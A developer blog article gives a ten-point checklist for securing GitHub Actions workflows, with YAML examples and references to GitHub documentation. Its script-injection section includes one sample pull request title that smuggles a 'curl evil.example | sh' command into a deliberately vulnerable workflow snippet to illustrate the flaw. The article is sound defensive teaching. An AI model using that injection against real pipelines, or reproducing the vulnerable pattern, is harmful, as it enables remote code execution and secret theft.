Skip to main content

Cloudsoft Zone Build, deploy and scale with practical guides to PHP, Node.js, React, DevOps and AI automation. Explore the guides

Cloudsoft Zone
DevelopmentDevOpsResource guide

Harden GitHub Actions workflows: a 10-point security checklist

CI workflows hold your deploy keys and tokens. This checklist covers SHA pinning, least-privilege GITHUB_TOKEN, script injection, pull_request_target and OIDC.

Cloudsoft Zone

Updated 8 min read

Brass padlock fastened through a rusty chain wrapped around a tree trunk
Photograph: Dori / CC BY 2.5, via Wikimedia Commons
In this article

To harden a GitHub Actions workflow, pin every third-party action to a full commit SHA, give the GITHUB_TOKEN read-only permissions by default, never interpolate untrusted event data into shell scripts, and replace long-lived cloud secrets with OpenID Connect. Those four changes close the routes used in the most damaging CI compromises of the last two years, and none of them slows your builds down.

This checklist expands those points into ten concrete steps, with YAML you can copy. Every rule comes from GitHub's own "Secure use reference" and workflow syntax documentation, checked in October 2026.

Why CI is now a favourite target

A workflow runs third-party code with access to your source, your secrets and often your production credentials. In March 2025 the popular tj-actions/changed-files action was compromised (CVE-2025-30066). According to CISA's alert, affected versions were in use between 12 and 15 March 2025, and the malicious code could disclose secrets including access keys, GitHub personal access tokens, npm tokens and private RSA keys, printed into build logs. CISA linked it to a separate compromise of reviewdog/action-setup@v1 (CVE-2025-30154) days earlier.

Repositories that referenced the action by a mutable tag such as @v45 pulled the malicious code automatically. Repositories pinned to an older full commit SHA did not. That one difference is why the first item on this list matters most.

The checklist at a glance

#ControlWhat it stops
1Pin actions to full-length commit SHAsA moved or hijacked tag running new code in your pipeline
2Enforce SHA pinning with a policyNew workflows quietly reintroducing tag references
3Set permissions explicitly, read-only by defaultA compromised step pushing code or editing releases
4Pass untrusted input through environment variablesScript injection from pull request titles, branch names and comments
5Avoid pull_request_target with untrusted checkoutsFork pull requests running with secrets and a write token
6Use OIDC instead of stored cloud keysLong-lived credentials leaking from secrets
7Turn off persist-credentials when not neededLater steps reusing the checkout token
8Protect .github/workflows with CODEOWNERSUnreviewed workflow changes
9Keep actions updated automaticallyPinned versions going stale and missing fixes
10Keep self-hosted runners away from public repositoriesStrangers running code on your machines

1. Pin every action to a full-length commit SHA

GitHub's documentation is blunt: "Pinning an action to a full-length commit SHA is currently the only way to use an action as an immutable release." A tag "can be moved or deleted if a bad actor gains access to the repository storing the action." Keep the human-readable version as a comment so reviewers and update tools can see what the SHA represents.

YAML
steps:
  # Mutable: whoever controls the tag controls your build
  - uses: actions/checkout@v7

  # Immutable: this exact commit, and nothing else
  - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1

Look up the SHA yourself rather than copying it from a blog post, including this one: git ls-remote --tags https://github.com/actions/checkout lists every tag with its commit. Pin first-party actions/* actions too; it costs nothing and keeps the rule simple.

2. Enforce pinning with an Actions policy

A convention is only as strong as your next pull request. Since August 2025 the "allowed actions and reusable workflows" policy can require SHA pinning: when the setting is on, a workflow that uses an action not pinned to a full commit SHA fails. The same policy supports a blocklist, where an entry prefixed with ! blocks a specific action or version, which is useful the day an action you depend on is reported as compromised. GitHub documents the policy at both repository and organisation level.

3. Give GITHUB_TOKEN the minimum permissions

Every job receives a GITHUB_TOKEN. Set its permissions in the workflow file instead of relying on repository defaults that someone may have changed. The workflow syntax reference states that "if you specify the access for any of these permissions, all of those that are not specified are set to none", so one line gives you a read-only baseline:

YAML
permissions:
  contents: read

jobs:
  label:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      pull-requests: write   # only this job may comment or label
    steps:
      - run: echo "label the pull request here"

Use permissions: {} for jobs that need no token access at all. Avoid write-all; if a workflow needs it, that is a sign the job is doing too much.

4. Never interpolate untrusted input into scripts

Expressions like ${{ github.event.pull_request.title }} are expanded before the shell runs, so a pull request titled a"; curl evil.example | sh; echo " becomes part of your script. Branch names, issue bodies, commit messages and review comments are all attacker-controlled.

YAML
# Vulnerable: the title is pasted into the script text
- name: Check PR title
  run: |
    title="${{ github.event.pull_request.title }}"
    if [[ $title =~ ^feat ]]; then echo "feature"; fi

# Safe: the title arrives as data in an environment variable
- name: Check PR title
  env:
    TITLE: ${{ github.event.pull_request.title }}
  run: |
    if [[ "$TITLE" =~ ^feat ]]; then echo "feature"; fi

GitHub explains why the second form works: the value is "stored in memory and used as a variable, and doesn't interact with the script generation process." Always quote the variable in the shell as well.

Industrial robotic arms on a car assembly line seen through a black metal safety mesh
CI automation runs whatever it is given, so untrusted input must never become part of the instructions.

5. Treat pull_request_target as dangerous

The pull_request_target trigger runs in the context of the base repository, so it can read secrets, and the workflow syntax reference notes its GITHUB_TOKEN "is granted read/write repository permission, even when it is triggered from a public fork." GitHub's guidance is to avoid the trigger if it is not necessary, and that workflows using it "must not explicitly check out untrusted code, including from pull request forks". If you only need to build and test fork contributions, the ordinary pull_request trigger is the right choice: forks get a read-only token and no secrets.

6. Replace stored cloud keys with OIDC

A deploy job that reads AWS_SECRET_ACCESS_KEY from secrets holds a credential that works from anywhere until someone rotates it. With OpenID Connect, the job requests a short-lived token from your cloud provider at run time, which, in GitHub's words, lets you "stop storing these credentials as long-lived secrets". The job needs the id-token: write permission, and the trust policy on the cloud side should be scoped to your repository and, ideally, a protected branch or environment.

YAML
jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production
    permissions:
      contents: read
      id-token: write   # allow this job to request an OIDC token
    steps:
      - run: echo "use your cloud provider's official login action here"

7. Do not leave the checkout token lying around

actions/checkout writes credentials so later git commands can authenticate; its persist-credentials input defaults to true. From v6 the credentials are stored in a separate file under $RUNNER_TEMP instead of directly in .git/config, and they are removed in post-job cleanup, but they remain available to every later step in the job. If nothing after checkout needs to push, turn it off:

YAML
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
  with:
    persist-credentials: false

8. Require review for workflow changes

Add the workflows directory to CODEOWNERS so that, as GitHub puts it, "any proposed changes to these files will first require approval from a designated reviewer." Combine it with a branch rule that requires code owner review on your default branch.

Text
# .github/CODEOWNERS
/.github/workflows/  @your-org/platform

9. Keep pinned actions up to date

Pinning trades automatic updates for safety, so you need a tool that proposes updates as reviewable pull requests. Dependabot supports the github-actions ecosystem:

YAML
# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"

Review these pull requests like any dependency change: read the release notes and the diff between the old and new commit for actions with broad access.

10. Keep self-hosted runners off public repositories

GitHub's guidance is that "self-hosted runners should almost never be used for public repositories", because anyone can open a pull request and run code on the machine. If you need self-hosted capacity, use it for private repositories, prefer ephemeral runners that are destroyed after each job, and keep them on a network segment without access to internal systems.

Full-height metal turnstile and gate set into a perimeter fence beside a grass field
Self-hosted runners need the same access control as any other entrance to your network.

A hardened workflow, put together

YAML
name: CI
on:
  pull_request:
  push:
    branches: [main]

permissions:
  contents: read

concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: true

jobs:
  test:
    runs-on: ubuntu-latest
    timeout-minutes: 15
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - uses: actions/setup-node@949feb2413d6458794dcd2491c4babbbce0c15c1 # v7.1.0
        with:
          node-version: 24
      - run: npm ci
      - run: npm test

The concurrency block cancels superseded runs on the same branch, and timeout-minutes stops a hung or hijacked job from running for the default six hours.

Gotchas

  • Secrets in logs. GitHub masks registered secrets, but values you derive from them are not masked automatically. Use ::add-mask::VALUE for sensitive values that are not secrets.
  • Composite and reusable workflows. Pinning your top-level uses: lines does not pin the actions those dependencies call internally. Prefer actions whose own references are pinned, and review what a new action pulls in.
  • Dependabot runs. Workflows triggered by Dependabot pull requests get a read-only token and no access to Actions secrets, so do not "fix" a failing Dependabot build by switching it to pull_request_target.
  • After an incident, rotate every secret the affected workflow could read, not only the one you think leaked.

What to do next

Start with an audit: search your organisation for uses: lines without a 40-character SHA, workflows without a top-level permissions block, and any use of pull_request_target. Fix those three, then enable the SHA pinning policy so the fixes stay fixed. Moving deployments to OIDC and protecting workflows with CODEOWNERS can follow in the next sprint.

Frequently asked questions

  • Is pinning to a version tag like @v7 good enough?

    No. GitHub states that pinning to a full-length commit SHA is currently the only way to use an action as an immutable release. Tags can be moved or deleted by anyone who gains write access to the action's repository.

  • Should I pin GitHub's own actions such as actions/checkout?

    Yes. It costs nothing, keeps the rule simple, and lets you turn on the SHA pinning policy without exceptions, because the policy checks every action reference.

  • What permissions does GITHUB_TOKEN get if I set only contents: read?

    Only that. When you specify any permission, every permission you do not list is set to none. Add write permissions to the individual jobs that need them.

  • Can workflows from forked pull requests read my secrets?

    With the ordinary pull_request trigger, workflows from forks receive a read-only token and no secrets. The pull_request_target trigger is different: it runs with the base repository's context, so never check out and run fork code in it.

  • Does OIDC remove the need for secrets entirely?

    It removes the need for long-lived cloud credentials. You still configure a trust relationship with your cloud provider, and you may still need secrets for services that do not support OIDC.

  • How do I find the commit SHA for an action release?

    Run git ls-remote --tags https://github.com/OWNER/ACTION or open the release on GitHub and copy the full commit hash. Verify it against the official repository, not a third-party page.

Advertise on CloudSoftZone

Your next customer could start right here.

Introduce your tool, product or business to readers exploring technology.

Advertise with us

Explore placements and request a private quote

Sources

  1. Secure use reference — GitHub Docs
  2. Workflow syntax for GitHub Actions — GitHub Docs
  3. GitHub Actions policy now supports blocking and SHA pinning actions — GitHub Changelog, 2025-08-15
  4. Supply Chain Compromise of Third-Party tj-actions/changed-files (CVE-2025-30066) and reviewdog/action-setup@v1 (CVE-2025-30154) — CISA, 2025-03-18
  5. Keeping your actions up to date with Dependabot — GitHub Docs
  6. actions/checkout README — GitHub

Written with substantial AI assistance. Facts checked against cited sources. Editorial policy.

Comments

No comments yet. Be the first to join the conversation.

Leave a comment

Every comment is read by a moderator before it appears. Your email address is never published; it is used only to contact you about this comment.

Never published. Used only to contact you about this comment.

Loading the security check…

Comments are moderated before publication.

  • Rows of server racks with cabling in a data centre aisle

    Resource guideWordPress

    WordPress security hardening checklist for 2026 (WordPress 7.1)

    A practical WordPress 7.1 hardening checklist based on the official handbook: updates, two-step logins, wp-config.php constants, file permissions, database privileges, firewalls, WP-CLI checksum checks and tested backups.

    By Cloudsoft Zone